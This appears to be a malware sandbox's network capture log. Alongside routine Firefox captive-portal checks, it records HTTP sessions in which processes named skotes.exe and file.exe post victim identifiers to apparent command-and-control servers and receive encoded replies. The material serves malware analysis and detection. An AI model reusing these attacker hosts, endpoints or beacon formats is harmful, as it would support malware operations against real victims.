Oct 30, 2024 00:22:02.735677004 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 00:22:02.861917019 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 34665 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 00:22:03.067066908 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 00:22:03.192452908 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 34666 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 00:22:03.717947006 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 00:22:03.843105078 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 34666 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 00:22:13.846595049 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	59871	34.107.221.82	80	7760	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:22:01.665947914 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	59874	185.215.113.43	80	6184	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:22:01.767151117 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 00:22:02.629707098 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 23:22:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	59877	34.107.221.82	80	7760	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:22:01.874600887 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	59879	34.107.221.82	80	7760	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:22:02.260770082 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	59883	34.107.221.82	80	7760	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:22:02.496817112 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	59884	34.107.221.82	80	7760	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:22:03.057323933 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	59887	34.107.221.82	80	7760	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:22:03.248601913 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 00:22:03.846424103 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 29 Oct 2024 11:21:47 GMT Age: 43216 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 30, 2024 00:22:03.867923021 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 00:22:03.993403912 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 29 Oct 2024 11:21:47 GMT Age: 43216 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 30, 2024 00:22:14.000269890 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	59888	185.215.113.43	80	6184	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:22:04.286467075 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 30, 2024 00:22:05.216001987 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 23:22:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	59894	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:22:12.123749018 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 00:22:13.040492058 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:22:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 00:22:13.052278996 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCBFIEHIEGCAAAKKKKE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 42 46 49 45 48 49 45 47 43 41 41 41 4b 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 31 31 34 43 32 39 35 43 36 31 36 32 32 33 35 37 33 34 35 32 36 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 46 49 45 48 49 45 47 43 41 41 41 4b 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 46 49 45 48 49 45 47 43 41 41 41 4b 4b 4b 4b 45 2d 2d 0d 0a Data Ascii: ------EGCBFIEHIEGCAAAKKKKEContent-Disposition: form-data; name="hwid"8114C295C6162235734526------EGCBFIEHIEGCAAAKKKKEContent-Disposition: form-data; name="build"tale------EGCBFIEHIEGCAAAKKKKE--
Oct 30, 2024 00:22:13.338479996 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:22:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	188.114.97.3	443	5044	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 23:20:02 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-29 23:20:02 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-29 23:20:02 UTC	1024	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:20:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0b4t98kjhukdqmfj8oaksrb9n1; expires=Sat, 22 Feb 2025 17:06:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NNRCDGkrJbFhvNvygV92%2Fqdf2icSVerv9J5%2F9L%2BN%2F9YfmB%2FpGdYNjBI%2B8juq6foiL0tsZwX7S3WC%2BFNw4GlvUj0tAQ5IzHt8Jq%2BHxNsjYiYrr3BvBjPx4NvKCMRoxK5M3nRjQCk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da6e4d77c404780-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1916&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=909&delivery_rate=1350746&cwnd=250&unsent_bytes=0&cid=78bd78196f5945b2&ts=1084&x=0"
2024-10-29 23:20:02 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-29 23:20:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	188.114.97.3	443	5044	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 23:20:03 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-29 23:20:03 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-29 23:20:04 UTC	1013	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:20:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s6itt4njgrh3gn2v9jucup7f7c; expires=Sat, 22 Feb 2025 17:06:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RUIZRWF2te20B95dYD5pMzBDCzWBHoYA2XwO7%2FIz%2BjISs86yAKhrfE7RsXbl4RJRpw3Gev4vpziyEb%2FtaIbj4gScaAjyf1Na2xvb2gmBq4yHOkmjGh5tnulhEPMNAQZPKdE9tKY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da6e4dfba3ee7bb-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1431&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=954&delivery_rate=2030855&cwnd=251&unsent_bytes=0&cid=78eb4d3723a73694&ts=498&x=0"
2024-10-29 23:20:04 UTC	356	IN	Data Raw: 63 63 36 0d 0a 59 50 41 35 54 42 57 6c 65 58 44 53 7a 51 61 4c 62 52 61 62 6b 51 55 63 33 4b 32 4d 5a 33 34 59 68 30 33 4d 71 69 57 59 6a 41 59 62 30 6b 39 75 4c 35 46 56 55 71 47 6f 4a 4c 45 5a 5a 4f 37 30 4b 54 36 39 79 61 35 64 47 48 6e 72 50 71 6d 47 42 2b 37 68 4a 46 71 57 57 43 42 6d 77 46 56 53 74 37 55 6b 73 54 5a 74 75 66 52 72 50 75 61 50 36 51 30 63 65 65 73 76 72 63 46 4b 36 4f 42 6c 43 4a 78 65 4a 48 44 47 48 52 47 2b 6f 47 50 75 43 48 66 78 2f 32 78 78 74 4d 43 75 53 31 78 39 2f 57 2f 32 69 47 6a 39 2b 47 63 74 6b 55 6f 6e 4e 39 68 56 43 2f 43 6f 61 4b 6c 58 4e 50 72 30 5a 33 43 36 79 65 63 50 46 6e 44 6a 4c 71 6a 41 56 66 48 71 62 67 69 53 58 53 56 36 7a 77 6b 63 74 4b 64 6f 36 41 4a 33 75 62 30 6e 65 61 61 50 74 6b 56 50 53 4f 59 2b 76 39 Data Ascii: cc6YPA5TBWleXDSzQaLbRabkQUc3K2MZ34Yh03MqiWYjAYb0k9uL5FVUqGoJLEZZO70KT69ya5dGHnrPqmGB+7hJFqWWCBmwFVSt7UksTZtufRrPuaP6Q0ceesvrcFK6OBlCJxeJHDGHRG+oGPuCHfx/2xxtMCuS1x9/W/2iGj9+GctkUonN9hVC/CoaKlXNPr0Z3C6yecPFnDjLqjAVfHqbgiSXSV6zwkctKdo6AJ3ub0neaaPtkVPSOY+v9
2024-10-29 23:20:04 UTC	1369	IN	Data Raw: 41 75 4b 52 76 37 42 31 2f 38 50 35 71 66 72 50 46 34 51 59 63 66 65 38 6c 6f 63 4a 44 39 2b 4e 69 41 70 49 62 59 44 66 41 41 31 4c 6f 37 30 66 73 48 33 50 31 35 53 56 45 2f 74 43 67 48 46 78 39 36 57 2f 32 69 45 2f 2f 37 57 63 4a 6e 56 67 6d 66 4e 55 62 41 4c 61 69 59 66 73 4a 63 66 66 35 5a 47 79 30 77 65 67 47 46 58 48 73 4b 71 6e 4d 42 37 53 75 59 78 72 53 41 32 35 57 79 68 41 65 75 72 68 6b 71 52 41 36 34 4c 4e 67 63 76 36 58 72 67 45 64 66 75 51 72 6f 4d 5a 44 39 75 68 71 44 35 31 64 4a 48 66 41 45 52 71 34 72 6d 6e 69 41 48 54 38 2f 6d 4e 34 73 73 37 72 52 56 49 36 34 6a 66 75 6b 41 66 55 36 57 63 51 30 47 34 74 65 63 6b 63 42 50 43 77 4b 76 42 50 63 2f 57 7a 50 7a 36 77 79 75 45 58 48 57 6a 67 49 62 7a 45 51 76 7a 6a 5a 77 79 53 58 69 6c 36 79 52 Data Ascii: AuKRv7B1/8P5qfrPF4QYcfe8locJD9+NiApIbYDfAA1Lo70fsH3P15SVE/tCgHFx96W/2iE//7WcJnVgmfNUbALaiYfsJcff5ZGy0wegGFXHsKqnMB7SuYxrSA25WyhAeurhkqRA64LNgcv6XrgEdfuQroMZD9uhqD51dJHfAERq4rmniAHT8/mN4ss7rRVI64jfukAfU6WcQ0G4teckcBPCwKvBPc/WzPz6wyuEXHWjgIbzEQvzjZwySXil6yR
2024-10-29 23:20:04 UTC	1369	IN	Data Raw: 4b 76 42 50 63 2f 57 7a 50 7a 36 79 78 75 34 4f 46 6e 37 6c 4b 4b 50 4e 52 50 33 74 61 51 57 59 56 53 6c 7a 79 78 49 66 74 71 39 6a 37 51 70 6d 2f 50 70 72 63 76 36 42 72 67 49 45 4f 72 31 76 67 63 39 52 2b 63 46 6e 45 35 73 62 4d 54 6e 65 57 78 57 38 37 7a 79 70 43 48 48 78 2b 47 46 32 76 74 33 72 43 78 64 37 37 79 6d 76 78 55 76 38 37 6d 55 43 6c 46 63 75 63 4d 41 4a 41 4c 57 70 64 75 4e 50 4f 72 6e 30 66 7a 37 6d 6a 39 67 56 43 32 76 7a 62 5a 76 4c 53 66 54 70 63 6b 4b 4e 46 54 63 33 77 42 64 53 36 4f 39 76 36 51 4e 7a 38 66 56 6a 64 72 48 41 35 78 63 64 64 75 73 39 71 63 68 4f 39 4f 46 6f 43 35 39 63 49 33 7a 4e 46 68 61 33 72 69 53 6e 54 33 50 68 73 7a 38 2b 69 4e 2f 6a 43 54 4a 78 36 53 62 75 31 77 6e 6a 72 6d 4d 4f 30 67 4e 75 63 38 73 54 47 4c 2b Data Ascii: KvBPc/WzPz6yxu4OFn7lKKPNRP3taQWYVSlzyxIftq9j7Qpm/Pprcv6BrgIEOr1vgc9R+cFnE5sbMTneWxW87zypCHHx+GF2vt3rCxd77ymvxUv87mUClFcucMAJALWpduNPOrn0fz7mj9gVC2vzbZvLSfTpckKNFTc3wBdS6O9v6QNz8fVjdrHA5xcddus9qchO9OFoC59cI3zNFha3riSnT3Phsz8+iN/jCTJx6Sbu1wnjrmMO0gNuc8sTGL+
2024-10-29 23:20:04 UTC	183	IN	Data Raw: 33 50 39 39 57 67 2b 38 49 2f 70 48 56 77 69 70 51 43 4a 2f 51 58 62 31 43 51 64 33 45 4a 75 63 4d 74 62 53 76 43 6a 5a 2b 55 48 65 2f 2f 36 61 33 53 33 78 4f 49 4f 47 48 62 73 4b 71 6a 4a 51 76 2f 76 59 41 36 59 58 53 31 30 79 42 51 64 75 4f 38 71 71 51 68 73 75 61 73 6e 57 36 6e 45 34 41 4e 63 5a 61 73 32 37 73 39 4c 75 72 59 6b 44 70 74 64 4b 48 4c 4c 47 68 53 34 71 6d 7a 74 44 6e 4c 2f 38 47 68 36 75 38 37 68 41 52 42 30 37 79 36 76 78 45 7a 31 35 57 46 43 33 42 73 70 62 34 64 44 55 6f 47 73 63 76 34 66 65 4c 6e 73 4b 57 66 2b 79 4f 0d 0a Data Ascii: 3P99Wg+8I/pHVwipQCJ/QXb1CQd3EJucMtbSvCjZ+UHe//6a3S3xOIOGHbsKqjJQv/vYA6YXS10yBQduO8qqQhsuasnW6nE4ANcZas27s9LurYkDptdKHLLGhS4qmztDnL/8Gh6u87hARB07y6vxEz15WFC3Bspb4dDUoGscv4feLnsKWf+yO
2024-10-29 23:20:04 UTC	1369	IN	Data Raw: 33 32 64 37 0d 0a 4a 46 52 44 72 6b 50 61 54 43 53 66 2f 68 59 51 47 64 58 43 4e 78 79 78 45 62 75 4b 6c 72 34 42 31 33 39 66 31 67 63 4c 4c 42 34 77 38 66 64 36 56 68 37 73 39 66 75 72 59 6b 4c 70 56 57 41 48 7a 4c 48 46 4b 76 34 58 32 70 43 48 69 35 71 79 64 79 74 4d 50 6e 42 52 56 2f 37 53 53 6e 7a 55 62 78 36 32 63 45 6e 31 51 6e 5a 63 30 59 48 4c 4f 6a 61 4f 38 4f 64 2b 76 37 62 6a 37 77 6a 2b 6b 64 58 43 4b 6c 44 71 44 46 55 2f 33 2b 4a 42 33 63 51 6d 35 77 79 31 74 4b 38 4b 78 6c 35 67 78 31 39 50 56 75 64 72 37 4a 36 77 6f 52 64 4f 49 6f 72 73 56 4a 39 65 68 73 44 35 35 51 49 48 37 42 47 78 4f 36 37 79 71 70 43 47 79 35 71 79 64 4f 76 63 2f 75 48 6c 78 6c 71 7a 62 75 7a 30 75 36 74 69 51 51 6d 46 49 75 64 4d 67 63 46 72 75 6a 59 65 77 41 64 2f 44 Data Ascii: 32d7JFRDrkPaTCSf/hYQGdXCNxyxEbuKlr4B139f1gcLLB4w8fd6Vh7s9furYkLpVWAHzLHFKv4X2pCHi5qydytMPnBRV/7SSnzUbx62cEn1QnZc0YHLOjaO8Od+v7bj7wj+kdXCKlDqDFU/3+JB3cQm5wy1tK8Kxl5gx19PVudr7J6woRdOIorsVJ9ehsD55QIH7BGxO67yqpCGy5qydOvc/uHlxlqzbuz0u6tiQQmFIudMgcFrujYewAd/D
2024-10-29 23:20:04 UTC	1369	IN	Data Raw: 34 2f 70 43 56 77 69 70 53 36 69 78 30 54 31 37 57 63 44 6d 45 6b 38 65 38 34 54 46 37 79 6b 61 75 38 64 63 76 62 36 5a 48 32 33 79 4f 59 4a 46 6e 6e 69 62 2b 43 49 51 4f 4b 75 50 45 4b 78 54 44 35 36 68 77 52 63 71 65 39 6a 35 55 38 73 75 66 74 71 64 72 54 4c 36 51 67 62 66 4f 77 39 70 38 31 4a 2b 75 70 76 44 5a 52 66 4c 58 66 56 48 52 61 34 72 47 6e 6b 41 58 66 39 73 79 6b 2b 75 64 65 75 58 56 78 49 36 43 47 31 78 30 44 72 35 43 51 64 33 45 4a 75 63 4d 74 62 53 76 43 72 61 76 73 45 64 66 4c 34 61 58 6d 78 79 75 51 46 45 33 37 6d 49 61 58 4a 52 50 4c 6a 61 51 79 59 55 69 64 77 79 78 38 56 38 4f 45 6b 37 68 63 30 6f 62 4e 4d 58 35 50 6a 36 52 39 63 5a 61 73 32 37 73 39 4c 75 72 59 6b 44 70 74 58 4a 48 7a 41 45 52 79 35 6f 57 2f 37 48 58 66 39 38 47 35 39 Data Ascii: 4/pCVwipS6ix0T17WcDmEk8e84TF7ykau8dcvb6ZH23yOYJFnnib+CIQOKuPEKxTD56hwRcqe9j5U8suftqdrTL6QgbfOw9p81J+upvDZRfLXfVHRa4rGnkAXf9syk+udeuXVxI6CG1x0Dr5CQd3EJucMtbSvCravsEdfL4aXmxyuQFE37mIaXJRPLjaQyYUidwyx8V8OEk7hc0obNMX5Pj6R9cZas27s9LurYkDptXJHzAERy5oW/7HXf98G59
2024-10-29 23:20:04 UTC	1369	IN	Data Raw: 4d 66 66 71 56 68 37 73 39 66 75 72 59 6b 4c 35 35 63 42 33 44 63 57 77 33 2b 74 69 54 75 41 7a 53 68 73 32 5a 31 74 4d 44 6a 42 68 70 35 37 69 71 6b 79 55 44 79 34 33 59 42 6e 56 51 71 64 38 67 64 46 4c 47 67 59 75 34 47 64 66 48 30 4a 7a 44 2b 79 50 5a 46 52 44 72 4c 4b 4b 33 4d 42 2b 57 67 66 55 4b 56 56 32 34 76 68 78 73 59 75 71 56 71 36 51 68 6d 2f 2f 70 6e 66 61 7a 4d 36 41 30 61 64 75 6b 69 70 73 46 48 2f 2b 56 70 43 5a 39 64 4c 6e 7a 47 57 31 7a 77 71 48 79 70 56 7a 54 49 2f 6d 6c 36 73 4d 7a 2b 41 6c 78 6c 71 7a 62 75 7a 30 75 36 74 69 51 4e 6d 30 6b 70 63 73 38 53 45 72 36 6d 62 65 34 4c 64 2f 6a 33 61 33 47 33 7a 4f 59 45 46 48 58 6d 4c 36 58 41 54 66 76 67 59 55 4c 63 47 79 6c 76 68 30 4e 53 6e 36 78 68 34 67 34 32 33 76 56 67 63 76 37 51 6f Data Ascii: MffqVh7s9furYkL55cB3DcWw3+tiTuAzShs2Z1tMDjBhp57iqkyUDy43YBnVQqd8gdFLGgYu4GdfH0JzD+yPZFRDrLKK3MB+WgfUKVV24vhxsYuqVq6Qhm//pnfazM6A0adukipsFH/+VpCZ9dLnzGW1zwqHypVzTI/ml6sMz+Alxlqzbuz0u6tiQNm0kpcs8SEr6mbe4Ld/j3a3G3zOYEFHXmL6XATfvgYULcGylvh0NSn6xh4g423vVgcv7Qo
